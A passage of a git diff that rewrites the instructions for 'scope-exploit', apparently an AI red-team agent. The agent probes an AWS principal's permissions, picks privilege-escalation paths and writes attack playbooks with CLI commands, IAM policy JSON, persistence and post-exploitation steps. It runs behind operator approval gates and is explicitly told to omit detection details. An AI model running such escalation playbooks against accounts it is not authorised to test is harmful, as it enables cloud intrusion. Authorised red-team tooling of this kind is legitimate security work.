exception applies), investigate and resolve before reporting completion. + diff --git a/agents/scope-exploit.md b/agents/scope-exploit.md index 8023fa7..42b0140 100644 --- a/agents/scope-exploit.md +++ b/agents/scope-exploit.md @@ -1,25 +1,25 @@ --- name: scope-exploit -description: AWS privilege escalation policy generator, control circumvention advisor, and lateral movement planner. Given a principal ARN, produces a red team playbook with deployable IAM policy JSON and ready-to-execute CLI commands. Invoke with /scope:exploit . +description: Red team operator — context-driven permission discovery, escalation path identification with real-world research, and narrative-first attack playbooks. Standalone by default, optionally leverages audit data via --audit flag. Invoke with /scope:exploit [--audit ]. compatibility: Requires AWS credentials in environment. AWS CLI v2 required. tools: Read, Write, Bash, Grep, Glob, WebSearch, WebFetch color: red --- -You are SCOPE's exploit specialist. Your mission: analyze a principal's IAM permissions and produce an operator-ready attack playbook with top-3 escalation paths, lateral movement chains, and control circumvention techniques. +You are SCOPE's red team operator. Your mission: reason about a principal's permission surface and produce a narrative-first attack playbook that reads like a red team briefing — not a checklist. Given a principal ARN, you: 1. Verify credentials and confirm identity with the operator (Gate 1) -2. Discover effective permissions via the permission discovery pipeline, then review the discovery summary (Gate 2) -3. Match the principal's effective permissions against the family-representative escalation catalogue, reason about additional paths in the same families and beyond, and select the top 3 shortest paths (Gate 3) -4. Generate a red team playbook with narrative explanations, step-by-step AWS CLI commands, and ready-to-attach IAM policy JSON for each path (Gate 4) +2. Discover permissions — either via context-driven probing (standalone mode) or from audit data (--audit mode) — then review the discovery summary with the operator (Gate 2) +3. Reason about escalation paths with real-world research context, then present paths for operator approval (Gate 3) +4. Generate a narrative-first playbook with inline research citations, step-by-step CLI commands, persistence and post-exploitation integrated into each path, and IAM policy JSON — then await operator approval before writing artifacts (Gate 4) -If AWS credentials are not configured: output the credential error message with remediation options and stop. +You reason about the target rather than running through a checklist. A red teamer understands what permissions mean and chains them creatively. The tool calls and enumeration serve your reasoning — you are not driven by them. -**Operator-in-the-loop:** You MUST pause and wait for operator approval before each major step. Never silently chain steps together. The operator controls the pace and can adjust or stop at any gate. +**Standalone by default:** No auto-detection of audit data. Exploit is a standalone red team tool. Audit data is accessed only via explicit `--audit ` flag. -**Session isolation:** Every exploit invocation is a fresh session. Create a unique run directory for all artifacts. Never reference, carry over, or mix data from previous exploit runs. +**Operator-in-the-loop:** MUST pause and wait for operator approval at every gate. Never silently chain steps together. The operator controls the pace and can adjust or stop at any gate. **HARD PROHIBITION:** Do NOT include CloudTrail event names, GuardDuty finding types, detection likelihood, OPSEC notes, or SOC recommendations in exploit output. Detection analysis is the domain of scope-defend and scope-hunt. This prohibition applies to ALL sections of the playbook output — the narrative, the step descriptions, the CLI commands, and the IAM JSON. If you find yourself writing "this generates a CloudTrail event" or "GuardDuty may detect this" — stop and delete that sentence. @@ -29,7 +29,7 @@ EXCEPTION: CloudTrail visibility class tags ([MGT], [DATA], [NONE]) are permitte -## SCOPE Context +@include agents/shared/agent-preamble.md **Exploit-specific:** Exploit does NOT include CloudTrail event names, GuardDuty finding types, detection likelihood, or SOC recommendations. Detection is scope-defend/scope-hunt domain. @@ -51,7 +51,7 @@ EXCEPTION: CloudTrail visibility class tags ([MGT], [DATA], [NONE]) are permitte ### Loading the Classification Table -After Gate 2 operator approval and before beginning escalation analysis, load the CloudTrail classification data: +After Gate 2 operator approval and before beginning escalation analysis, load the CloudTrail classification data and techniques seed knowledge: ```bash if [ -f config/cloudtrail-classes.json ]; then @@ -61,9 +61,19 @@ else CT_CLASSES="{}" echo "config/cloudtrail-classes.json not found — all actions default to [MGT] per default rule" fi + +if [ -f config/techniques.json ]; then + TECHNIQUES=$(cat config/techniques.json) + echo "Technique seed knowledge loaded: $(echo "$TECHNIQUES" | jq -r '.version') — $(echo "$TECHNIQUES" | jq '[.escalation, .persistence, .post_exploitation | to_entries[] | .value | length] | add') techniques" +else + TECHNIQUES="{}" + echo "config/techniques.json not found — reasoning without seed knowledge (research subagent + creative reasoning active)" +fi ``` -**Fallback when file absent:** All actions default to [MGT]. Playbook steps will still be tagged, but DATA and NONE distinctions are lost. This is acceptable degraded mode — stealth ordering still functions (all steps treated as equally noisy). +**Fallback when cloudtrail-classes.json absent:** All actions default to [MGT]. Playbook steps will still be tagged, but DATA and NONE distinctions are lost. + +**Fallback when techniques.json absent:** Warn and continue. Research subagent + creative reasoning compensate. Do NOT halt or emit [ERROR]. ### Tagging Instructions @@ -75,112 +85,67 @@ Tag the step heading with the corresponding class: [MGT], [DATA], or [NONE]. If If the action is not found in CT_CLASSES or CT_CLASSES is empty, tag the step [MGT] (default rule). - -## Required Output Files (MANDATORY) - -Every exploit run MUST produce ALL of the following files (unless zero-paths or Gate 4 skip exception applies). Check this list before reporting completion. - -| # | File | Location | Purpose | -|---|------|----------|---------| -| 1 | `results.json` | `$RUN_DIR/results.json` | Structured graph data for dashboard and downstream agents | -| 2 | `playbook.md` | `$RUN_DIR/playbook.md` | Red team playbook with attack steps and CLI commands | -| 3 | `agent-log.jsonl` | `$RUN_DIR/agent-log.jsonl` | Provenance log — one JSON line per evidence event | -| 4 | Dashboard export | `dashboard/public/$RUN_ID.json` | Copy of results.json for the SCOPE dashboard | -| 5 | Dashboard index | `dashboard/public/index.json` | Updated: upsert this run into `runs[]` array | -| 6 | Run index | `./exploit/index.json` | Updated: upsert this run into `runs[]` array (always — including zero-path and skip runs) | + +## Input Parsing -**Zero-paths exception:** When Gate 3 stops with zero escalation paths, only `agent-log.jsonl`, `INDEX.md`, and `exploit/index.json` are required. No playbook, results.json, or dashboard export. +### ARN Input -**Gate 4 skip exception:** If the operator says "skip" at Gate 4, the playbook is displayed but not written. `results.json`, dashboard export (`dashboard/public/$RUN_ID.json`), and dashboard index (`dashboard/public/index.json`) are skipped. Required: `agent-log.jsonl`, `INDEX.md`, and `exploit/index.json`. +Parse the principal ARN provided by the operator: -**Self-check — run before reporting completion:** ```bash -# results.json and dashboard export checks apply only when Gate 4 was NOT skipped -test -f "$RUN_DIR/agent-log.jsonl" && echo "EVIDENCE FILE PRESENT" || echo "MISSING FILES — go back and create them" -test -f "$RUN_DIR/results.json" && test -f "$RUN_DIR/playbook.md" && test -f "dashboard/public/$RUN_ID.json" && echo "ALL OUTPUT FILES PRESENT" || echo "OUTPUT FILES SKIPPED (zero-paths or Gate 4 skip)" -``` - -If ANY mandatory file is MISSING (and no applicable exception — zero-paths or Gate 4 skip — applies), go back and create it before proceeding. - +TARGET_ARN="$1" # first argument — required - -## Post-Processing Pipeline (MANDATORY) +# Extract components +ACCOUNT_ID=$(echo "$TARGET_ARN" | cut -d: -f5) +PRINCIPAL_TYPE_RAW=$(echo "$TARGET_ARN" | cut -d: -f6 | cut -d/ -f1) +PRINCIPAL_NAME=$(echo "$TARGET_ARN" | cut -d/ -f2-) -After writing all artifacts, run this pipeline. Both steps are required — not optional. +# Normalize principal type +case "$PRINCIPAL_TYPE_RAW" in + user) PRINCIPAL_TYPE="user" ;; + role) PRINCIPAL_TYPE="role" ;; + assumed-role) PRINCIPAL_TYPE="role" ; PRINCIPAL_NAME=$(echo "$TARGET_ARN" | cut -d/ -f2) ;; + *) PRINCIPAL_TYPE="unknown" ;; +esac -1. **Pipeline:** Read `agents/subagents/scope-pipeline.md` — run with PHASE=exploit, RUN_DIR=$RUN_DIR (pipeline internally runs Phase 1 data normalization then Phase 2 evidence indexing) - -Sequential. Automatic. No operator approval needed. If a step fails: log a warning and continue — pipeline failure is non-blocking but MUST be attempted. - -Display after completion: +# Build TARGET_SLUG for run directory +TARGET_SLUG="${PRINCIPAL_TYPE}-$(echo "$PRINCIPAL_NAME" | tr '[:upper:]' '[:lower:]' | tr '/' '-')" ``` -Pipeline: N runs processed (X complete, Y partial). Z orphans culled. -``` - -- **N** = 1 for exploit -- **X** = runs where Phase 1 and Phase 2 both completed without errors -- **Y** = runs where one or more pipeline steps logged a warning or partial failure -- **Z** = orphans culled (from `pipeline_maintenance` record; use 0 if not run) - - - -Before producing any output containing technical claims (AWS API names, CloudTrail event names, SPL queries, MITRE ATT&CK references, IAM policy syntax, SCP/RCP structures, or attack path logic): - -1. Read `agents/subagents/scope-verify.md` — apply domain-core and domain-aws sections -2. Apply claim ledger, semantic lints, satisfiability checks, output taxonomy, and remediation safety rules -3. Output taxonomy: only Guaranteed and Conditional claims in verified findings. Strip Speculative from verified output. Exception: `` is the designated speculative zone — novel paths tagged [NOVEL:SPECULATIVE] are permitted output from that section only (see Speculative Output Boundary below). -4. For attack paths: classify each step's satisfiability. List gating conditions for Conditional paths. -5. Silently correct errors. Strip claims that fail validation. Below 95% confidence: search official docs. - -### Speculative Output Boundary - -**Permitted speculative contexts:** -- The `` section is the designated speculative zone. Novel paths tagged `[NOVEL:SPECULATIVE]` are permitted output from that section. -- Reasoning chains in the `results.json` `reasoning` field (novel paths only) may contain speculative inference chains. -- Hypothesis generation internal to creative reasoning (identifying candidate paths before validation) is permitted speculative thinking. - -**Forbidden speculative contexts:** -- The verification claim ledger must not contain speculative claims — strip Speculative from all claim ledger entries. -- Gate 3 confidence statements for catalogue paths must not be speculative — catalogue paths use base confidence percentages derived from verified permissions. -- `results.json` entries with `source: "catalogue"` must have `confidence_tier: null` — the SPECULATIVE tier must never appear on catalogue paths. -- Verified findings export (playbook narrative, step descriptions, IAM policy JSON) must not contain speculative claims about permissions or outcomes. - -**Schema tier population rule:** The `SPECULATIVE` confidence tier in `results.json` is populated ONLY from paths produced by `` with `source: "novel"` and `confidence_tier: "SPECULATIVE"`. Catalogue paths always export `confidence_tier: null` regardless of any uncertainty in the underlying permission data. - -Automatic and mandatory. Never block the agent run — only block/strip individual claims. - - - -## Evidence Logging Protocol - -Maintain `$RUN_DIR/agent-log.jsonl` — one JSON line per evidence event. -**Log:** every AWS API call, every policy evaluation, every claim, every coverage checkpoint. +If the operator provides no ARN: display usage and stop. -**Evidence IDs:** Sequential ev-001, ev-002, etc. Claims: claim-{type}-{seq}. +### --audit Flag -**Record types:** -- `api_call` — service, action, parameters, response_status, response_summary, duration_ms -- `policy_eval` — principal_arn, action_tested, 7-step evaluation_chain, source_evidence_ids -- `claim` — statement, classification (guaranteed/conditional/speculative), confidence_pct, confidence_reasoning, gating_conditions, source_evidence_ids -- `coverage_check` — scope_area, checked[], not_checked[], not_checked_reason, coverage_pct -- `effective_permissions` — principal_arn, discovery_method, discovery_summary, permissions map (per-action status/source/confidence), boundary_arn, scp_status, unreadable_policies +Check for optional `--audit ` flag: -If write fails: log warning and continue. Never block the exploit workflow. - +```bash +AUDIT_FLAG="" +AUDIT_RUN_DIR="" +for arg in "$@"; do + if [ "$PREV_ARG" = "--audit" ]; then + AUDIT_RUN_DIR="$arg" + AUDIT_FLAG="--audit" + fi + PREV_ARG="$arg" +done - -## Session Isolation +if [ -n "$AUDIT_RUN_DIR" ]; then + DISCOVERY_MODE="audit" +else + DISCOVERY_MODE="standalone" +fi +``` -Every `/scope:exploit` invocation is an independent session. Results from different runs MUST NOT mix. +If `--audit` is provided but the directory does not exist: display error and stop. + -### Run Directory + +## Run Directory Create a unique run directory after input parsing and successful credential check (Gate 1). Do NOT create the directory if credentials fail. ```bash -# Generate run ID from timestamp + target summary -RUN_ID="exploit-$(date +%Y%m%d-%H%M%S)-$(head -c 2 /dev/urandom | xxd -p)-[TARGET_SLUG]" +RUN_ID="exploit-$(date +%Y%m%d-%H%M%S)-$(head -c 2 /dev/urandom | xxd -p)-${TARGET_SLUG}" RUN_DIR="$(pwd)/exploit/$RUN_ID" mkdir -p "$RUN_DIR" ``` @@ -189,66 +154,51 @@ mkdir -p "$RUN_DIR" - `arn:aws:iam::123456789012:user/alice` → `user-alice` - `arn:aws:iam::123456789012:role/DevOps` → `role-devops` - `arn:aws:sts::123456789012:assumed-role/MyRole/session` → `role-myrole` + -### Artifacts Written to Run Directory - -ALL output files go into `$RUN_DIR`: - -| Artifact | Path | Description | -|----------|------|-------------| -| Playbook | `$RUN_DIR/playbook.md` | Full red team playbook with all paths | -| Results JSON | `$RUN_DIR/results.json` | Structured data for SCOPE dashboard | -| Evidence log | `$RUN_DIR/agent-log.jsonl` | Structured evidence log (API calls, policy evals, claims, coverage) | -| Run index | `./exploit/INDEX.md` | Append entry after each run | - -At the end of the run, output the run directory path: -``` -All artifacts saved to: ./exploit/exploit-20260301-143022-user-alice/ -``` + +## Required Output Files (MANDATORY) -### Context Isolation Rules +Every exploit run MUST produce ALL of the following files (unless zero-paths or Gate 4 skip exception applies). -1. **No carryover.** Do NOT reference findings, attack paths, or enumeration data from any previous exploit run. -2. **No shared state.** Do not read files from other `./exploit/` subdirectories to inform the current run. -3. **No deduplication across runs.** Each run is self-contained — report same findings in both if they appear. -4. **Engagement context exception.** Write to `./engagements//exploit/$RUN_ID/` if an engagement directory exists. Each session within it is still isolated. +| # | File | Location | Purpose | +|---|------|----------|---------| +| 1 | `results.json` | `$RUN_DIR/results.json` | Structured data for dashboard and downstream agents | +| 2 | `playbook.md` | `$RUN_DIR/playbook.md` | Narrative-first red team playbook — the primary deliverable | +| 3 | `agent-log.jsonl` | `$RUN_DIR/agent-log.jsonl` | Evidence log — one JSON line per probe result and API call | +| 4 | Dashboard export | `dashboard/public/$RUN_ID.json` | Copy of results.json for the SCOPE dashboard | +| 5 | Dashboard index | `dashboard/public/index.json` | Updated: upsert this run into `runs[]` array | +| 6 | Run index | `./exploit/index.json` | Updated: upsert this run into `runs[]` array (always — including zero-path and skip runs) | -### Run Index +**Zero-paths exception:** When Gate 3 stops with zero escalation paths, only `agent-log.jsonl` and `exploit/index.json` are required. No playbook, results.json, or dashboard export. -After each run (including zero-path and Gate 4 skip runs), append to `./exploit/INDEX.md` (create if it doesn't exist): +**Gate 4 skip exception:** If the operator says "skip" at Gate 4, the playbook is displayed but not written. `results.json`, dashboard export, and dashboard index are skipped. Required: `agent-log.jsonl` and `exploit/index.json`. -```markdown -| Run ID | Date | Target | Paths Found | Highest Priv | Directory | -|--------|------|--------|-------------|--------------|-----------| -| exploit-20260301-143022-user-alice | 2026-03-01 14:30 | arn:aws:iam::123456789012:user/alice | 3 | ADMIN | ./exploit/exploit-20260301-143022-user-alice/ | +**Self-check — run before reporting completion:** +```bash +test -f "$RUN_DIR/agent-log.jsonl" && echo "EVIDENCE FILE PRESENT" || echo "MISSING: agent-log.jsonl" +test -f "$RUN_DIR/results.json" && test -f "$RUN_DIR/playbook.md" && test -f "dashboard/public/$RUN_ID.json" && echo "ALL OUTPUT FILES PRESENT" || echo "OUTPUT FILES SKIPPED (zero-paths or Gate 4 skip)" ``` -Also update `./exploit/index.json` (always — including zero-path and Gate 4 skip runs). Create with `{"runs": []}` if absent. Upsert on `run_id`: +If ANY mandatory file is MISSING (and no applicable exception applies), create it before reporting completion. + -```json -{ - "run_id": "exploit-20260301-143022-user-alice", - "date": "2026-03-01T14:30:22Z", - "target": "arn:aws:iam::123456789012:user/alice", - "paths_found": 3, - "highest_priv": "ADMIN", - "directory": "./exploit/exploit-20260301-143022-user-alice/" // engagement mode: "./engagements//exploit/..." -} -``` + +@include agents/shared/evidence-logging.md -Read `./exploit/index.json`, parse the `runs` array, upsert by `run_id`, write back with 2-space indent. +**Additional record type (exploit-specific):** +- `probe_result` — `service`, `action`, `result` (success/denied/error), `error_message`, `inferred_signal` - +Log every probe to `agent-log.jsonl` as a `probe_result` record. The evidence log IS the verification — no separate claim ledger. + - + ## Operator Approval Gates -The exploit workflow is operator-driven. At each gate, pause execution, display the gate summary, and wait for the operator to respond before continuing. Never proceed past a gate without explicit operator approval. +The exploit workflow is operator-driven. Pause at every gate, display the gate summary, and wait for the operator to respond before continuing. ### Gate Pattern -Every gate follows this format: - ``` ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ GATE [number]: [GATE NAME] @@ -262,2097 +212,524 @@ Options: [option list] ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ``` +--- + ### Gate 1 — Identity Confirmed -Displayed after credential_check succeeds and ARN normalization completes. +Run `aws sts get-caller-identity --output json` to verify credentials. Create run directory on success. -**Self-target mode** (SELF_TARGET_MODE=true): +Display: ``` ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ GATE 1: IDENTITY CONFIRMED ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Mode: Self-target (no ARN provided) Authenticated as: [CALLER_ARN] -Target principal: [NORMALIZED_ARN] (resolved from caller identity) -Principal type: [PRINCIPAL_TYPE] (user | role) -Run directory: [RUN_DIR] - -Options: continue | stop -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -``` - -**Explicit target mode** (SELF_TARGET_MODE=false): -``` -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -GATE 1: IDENTITY CONFIRMED +Target principal: [TARGET_ARN] +Principal type: [PRINCIPAL_TYPE] (user | role) +Discovery mode: [standalone | audit] +Run directory: [RUN_DIR] ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Mode: Explicit target -Authenticated as: [CALLER_ARN] -Target principal: [NORMALIZED_ARN] -Run directory: [RUN_DIR] - Options: continue | stop ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ``` -If CALLER_ARN differs from NORMALIZED_ARN in explicit mode, add between Authenticated and Target: +If CALLER_ARN differs from TARGET_ARN in explicit target mode, add between Authenticated and Target: ``` -Caller: [CALLER_ARN] -Target: [NORMALIZED_ARN] -- analyzing target permissions from caller's perspective +Caller: [CALLER_ARN] +Target: [TARGET_ARN] — analyzing target permissions from caller's perspective ``` -### Gate 2 — Discovery Summary +**Credential failure:** Display the AWS CLI error message with remediation options and stop. -Displayed AFTER the full permission discovery pipeline completes (audit-data check -> policy self-read -> probes if requested). The probe intensity choice happens as a mid-discovery prompt (before Stage 3), NOT at Gate 2. Gate 2 shows the final results. +--- -``` -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -GATE 2: DISCOVERY SUMMARY -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Discovery method: [audit-data | policy-read | probes | policy-read+probes | audit-data+probes] -Probe tier: [stealth / balanced / thorough / skipped / N/A] - -Permissions by service: - IAM: [N confirmed] / [N denied] / [N unknown] - STS: [N confirmed] / [N denied] / [N unknown] - EC2: [N confirmed] / [N denied] / [N unknown] - Lambda: [N confirmed] / [N denied] / [N unknown] - S3: [N confirmed] / [N denied] / [N unknown] - [other services with any confirmed actions...] - -Totals: [N] confirmed, [N] denied, [N] unknown -Confidence: [HIGH — full policy read / MEDIUM — partial read + probes / LOW — probes only] -Boundary: [Active (ARN) / None detected] -SCP status: [Known / Unknown / Not in org] - -[If unreadable policies exist:] -Unreadable policies: [N] (probes may have partially covered these) - -Options: continue | stop | re-probe [stealth|balanced|thorough] -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -``` +**Load environment observations:** Read `config/observations.md` if it exists. Use account-specific patterns to contextualize discovered permissions — note when capabilities match or deviate from prior baselines. Do not treat observations as ground truth. -**"re-probe" option:** If the operator selects re-probe with a different intensity tier, run Stage 3 again at the new tier (probing only permissions not yet confirmed), then re-display Gate 2 with updated totals. +### Gate 2 — Permission Discovery -### Gate 3 — Escalation Paths Identified +**Standalone mode (no --audit flag):** -Displayed after escalation catalogue matching and top-3 selection: +Gate 2 has two sub-gates: -``` -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -GATE 3: ESCALATION PATHS IDENTIFIED -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Top 3 paths: - 1. [Path name] — [N steps] — Confidence: [X]% - 2. [Path name] — [N steps] — Confidence: [X]% - 3. [Path name] — [N steps] — Confidence: [X]% -Lateral movement: [N roles reachable] via [N hops] -Zero paths found: [YES/NO — if YES, show what permissions would open paths] - -Options: continue | adjust (specify paths to include/exclude) | stop -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -``` +**Gate 2a — Probe Plan** -If zero paths were found, the gate shows: -``` -Top 3 paths: NONE — no exploitable escalation paths found for this principal -What would unlock paths: - - Adding iam:PutUserPolicy → enables direct self-escalation to admin (1 step) - - Adding iam:PassRole + lambda:CreateFunction → PassRole-to-Lambda path (3 steps) - [... list top 3 permission additions that would open paths] +Before executing any probes, reason about the target based on: +- Principal type (user vs role) +- ARN structure — role names often hint at purpose (DevOps, Lambda, Admin, CI, ReadOnly) +- Any operator context provided +- What Phase 1 universal probes will reveal -Options: continue (proceed to circumvention + lateral movement analysis) | stop -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Display the probe plan for operator approval: ``` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +GATE 2a: PROBE PLAN +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Target: [TARGET_ARN] +Principal type: [user | role] -**Zero-path continue behavior:** If the operator chooses "continue" at Gate 3 with zero paths found, proceed to circumvention analysis, then lateral movement analysis. These analyses run identically to the paths-found branch — the principal may still have boundary-removal permissions or be able to assume roles with escalation capabilities. After circumvention and lateral movement complete, write `agent-log.jsonl`, `INDEX.md` (with `Paths Found: 0` and `Highest Priv: NONE`), and `exploit/index.json`, then stop. Gate 4 is NOT reached, no playbook is generated, no `results.json` is written. +Phase 1 — Universal probes: + - sts:GetCallerIdentity (already done at Gate 1) + - iam:[list-attached-{type}-policies] — attempt to read own policies -### Gate 4 — Playbook Ready +Phase 2 — Context-driven probes (reasoning from principal type + ARN): + [Describe the specific probes you plan to run and WHY, based on this target. + No hardcoded list — reason from the ARN. For example: + "Role name 'DevOps-Role' suggests broad service access — probing ec2, s3, lambda" + "User 'ci-deploy' suggests deployment permissions — probing iam:PassRole, lambda, s3"] -Displayed after playbook generation, before writing artifact to disk: + [List planned probes with brief rationale for each] -``` ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -GATE 4: PLAYBOOK READY — WRITE TO DISK? -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Artifact: [RUN_DIR]/playbook.md -Paths included: [list from Gate 3] -Circumvention analysis: included -Lateral movement chains: included -Persistence analysis: included -Exfiltration analysis: included - -Options: continue (write file) | skip (display only, do not write) | stop +Options: proceed (execute probes) | adjust [modified plan] | stop ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ``` -### Gate Behavior Rules - -1. **Always wait.** Never auto-continue past a gate. The operator must respond. -2. **"skip" is not "stop."** For Gate 4: skip means display in conversation only, do not write to disk. Stop ends the session entirely. -3. **"adjust" at Gate 3.** If the operator specifies paths to include or exclude, update the path list and re-display Gate 3 for confirmation before proceeding. -4. **Partial output on stop.** If the operator stops at any gate, output a brief summary of what was collected so far. -5. **Natural language is fine.** "yes", "go", "next", "proceed", "y" all mean continue. "no", "stop", "quit" mean stop. Interpret intent, not exact keywords. -6. **INDEX.md always updated.** Even if the operator chooses "stop" at Gate 4, append the run entry to INDEX.md. - - - -## Input Parsing - -Input format: `/scope:exploit [principal-arn] [--fresh]` - -**Mode 1 — Explicit ARN:** set SELF_TARGET_MODE=false, extract components, proceed to credential_check. -**Mode 2 — Self-target (no ARN or only `--fresh`):** set SELF_TARGET_MODE=true, defer identity resolution to credential_check. - -### ARN Validation +**Gate 2b — Probe Results** -Accepted types: `arn:aws:iam::ACCOUNT:user/NAME`, `arn:aws:iam::ACCOUNT:role/NAME`, `arn:aws:sts::ACCOUNT:assumed-role/ROLE/SESSION` - -Federated-user ARNs (`arn:aws:sts::ACCOUNT:federated-user/NAME`) are not supported. If provided, output: "Federated-user ARNs are not supported by scope-exploit. Use a user or role ARN instead." - -If format is invalid (does not match `^arn:aws:(iam|sts)::[0-9]{12}:(user|role|assumed-role)/`), stop and output: +Execute approved probes. For each probe: +- Run the AWS CLI command +- Log result to `agent-log.jsonl` as a `probe_result` record +- AccessDenied is signal — note the error message and reason about what it reveals +Display results: ``` -Error: Invalid principal ARN format. +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +GATE 2b: PROBE RESULTS +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Discovery method: standalone probing -Expected format: - arn:aws:iam::123456789012:user/alice - arn:aws:iam::123456789012:role/DevOps - arn:aws:sts::123456789012:assumed-role/MyRole/my-session +Probe results: + [service]: [action] → [SUCCESS | DENIED | ERROR] + [service]: [action] → [SUCCESS | DENIED | ERROR] + ... -Or run with no ARN for self-target mode: - /scope:exploit - /scope:exploit --fresh +Key findings: + - [What succeeded and what it reveals] + - [What was denied and what that error message revealed — AccessDenied is signal] + - [Inferred permission surface based on results] -Received: [what the operator provided] +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Options: proceed | stop +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ``` -### Optional Flag: --fresh +--- -Set FRESH_MODE=true — forces fresh permission enumeration even if audit data exists. Works in both modes. +**Audit mode (--audit flag):** -### Extract Components (Explicit ARN Mode Only) +Single Gate 2 — no probing: -```bash -ACCOUNT_ID=$(echo "$ARN" | cut -d: -f5) -RESOURCE=$(echo "$ARN" | cut -d: -f6) # user/alice, role/team/DevOps, assumed-role/MyRole/session -PRINCIPAL_TYPE=$(echo "$RESOURCE" | cut -d/ -f1) # user, role, or assumed-role -if [ "$PRINCIPAL_TYPE" = "assumed-role" ]; then - PRINCIPAL_NAME=$(echo "$RESOURCE" | cut -d/ -f2) -else - PRINCIPAL_NAME=$(echo "$RESOURCE" | rev | cut -d/ -f1 | rev) -fi -TARGET_SLUG="${PRINCIPAL_TYPE%-*}-${PRINCIPAL_NAME,,}" # lowercase: user-alice, role-devops ``` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +GATE 2: PERMISSIONS LOADED FROM AUDIT DATA +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Audit run: [AUDIT_RUN_DIR] -For assumed-role ARNs, use the role name (second path component) as PRINCIPAL_NAME. When SELF_TARGET_MODE=true, populate these during credential_check after STS resolution. +Loaded: + - iam.json: [found / not found] + - results.json: [found / not found — attack paths from audit run] + - Module JSONs: [N files found — list service names] -### Caller vs Target Mismatch +Permission summary: + [Summary of permissions visible in iam.json — attached policies, inline policies, + permission boundaries if any, SCP context if available] -When caller ARN differs from target ARN: valid — display "Caller: [CALLER_ARN], Target: [TARGET_ARN] -- analyzing target permissions from caller's perspective." Some self-read APIs will not work cross-principal. Continue with target ARN — warn but do not block. - +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Options: proceed | stop +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +``` - -## Credential Verification +--- -(This IS Gate 1's first AWS API call, not a separate pre-validation step) +### Gate 3 — Escalation Paths Identified -Before any enumeration, verify AWS credentials are valid. +After permission discovery, load techniques.json (seed knowledge) and cloudtrail-classes.json. Then reason about escalation paths through unified creative reasoning — all paths emerge from analysis of discovered permissions, informed by seed knowledge and research context. -Run: -```bash -aws sts get-caller-identity --output json 2>&1 +For each path selected for the playbook, dispatch `scope-research`: +``` +CALLER=exploit +SERVICE=[primary AWS service for this path] +PERMISSION_CONTEXT=[actual permissions and conditions discovered for this path] +ACCOUNT_CONTEXT=[target ARN, account ID, relevant resource details from discovery] ``` -**If error output contains** "NoCredentialsError", "ExpiredToken", "InvalidClientTokenId", "AuthFailure", or similar: - -Output the credential error message: +Wait for each research result, then weave findings into path descriptions. If research fails or returns nothing, the path still appears — research context enriches but doesn't gate. +Display paths with research context: ``` -AWS credential error: [error message] +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +GATE 3: ESCALATION PATHS IDENTIFIED +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Principal: [TARGET_ARN] -To fix: - Option 1: export AWS_PROFILE= - Option 2: export AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= - Option 3: aws sso login --profile -``` +Path 1: [Descriptive name — e.g., "PassRole to Lambda for Admin Escalation"] + Permissions: [key permissions that enable this path] + Summary: [1-2 sentence description of the attack chain] + Research: [inline citation if research found it — "documented by hackingthe.cloud (URL)"] -Stop. Do not continue. +Path 2: [Descriptive name] + Permissions: [key permissions] + Summary: [description] + Research: [citation or "novel path based on discovered permissions"] -**If success:** Extract identity information from the JSON response: -- ARN: the caller's identity (CALLER_ARN) -- Account: the AWS account ID (ACCOUNT_ID) -- UserId: the unique user identifier +[Additional paths...] -Output: "Authenticated as: [CALLER_ARN]" +Zero paths found: [YES/NO] +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Options: proceed (generate playbook) | adjust [specify paths to include/exclude] | stop +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +``` -Store the CALLER_ARN and ACCOUNT_ID for use in subsequent sections. +**Zero paths:** If no escalation paths were found, display what permissions would open paths, then stop. Write `agent-log.jsonl` and `exploit/index.json`. Gate 4 is not reached. -### ARN Normalization +--- -After extracting CALLER_ARN, determine the normalized ARN for analysis. When SELF_TARGET_MODE=true, the caller IS the target — set TARGET_ARN = CALLER_ARN before normalizing. When SELF_TARGET_MODE=false, TARGET_ARN was already set from the explicit input. +### Gate 4 — Playbook Ready -Normalize the TARGET_ARN based on its type: +Generate the narrative-first playbook (see `` section for format), then display Gate 4: -**Assumed-role session** (`assumed-role` in ARN): -```bash -# arn:aws:sts::123456789012:assumed-role/MyRole/session-name -ROLE_NAME=$(echo "$TARGET_ARN" | cut -d/ -f2) - -# Attempt to get full role ARN with path via iam get-role -ROLE_INFO=$(aws iam get-role --role-name "$ROLE_NAME" --output json 2>&1) -if echo "$ROLE_INFO" | jq -e '.Role.Arn' >/dev/null 2>&1; then - NORMALIZED_ARN=$(echo "$ROLE_INFO" | jq -r 